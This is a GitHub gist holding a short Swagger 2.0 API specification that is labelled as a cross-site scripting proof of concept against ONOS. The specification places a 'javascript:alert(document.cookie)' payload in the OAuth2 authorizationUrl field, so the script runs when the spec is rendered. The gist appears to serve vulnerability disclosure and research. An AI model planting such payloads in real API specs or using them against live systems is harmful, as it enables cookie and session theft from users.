Skip to content

Instantly share code, notes, and snippets.

@edoardottt
Last active April 17, 2023 09:12
Show Gist options
  • Save edoardottt/917636d9b210d0b15c3a10cfff35ab33 to your computer and use it in GitHub Desktop.
Save edoardottt/917636d9b210d0b15c3a10cfff35ab33 to your computer and use it in GitHub Desktop.
swagger: "2.0"
info:
title: edoardottt XSS
description: XSS ONOS POC
version: 1.0.0
host: edoardottt.com
basePath: /v1
schemes:
- https
securityDefinitions:
OAuth2:
type: oauth2
flow: accessCode
authorizationUrl: javascript:alert(document.cookie)//
tokenUrl: https://example.com/oauth/token
scopes:
read: Grants read access
write: Grants write access
admin: Grants read and write access to administrative information
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment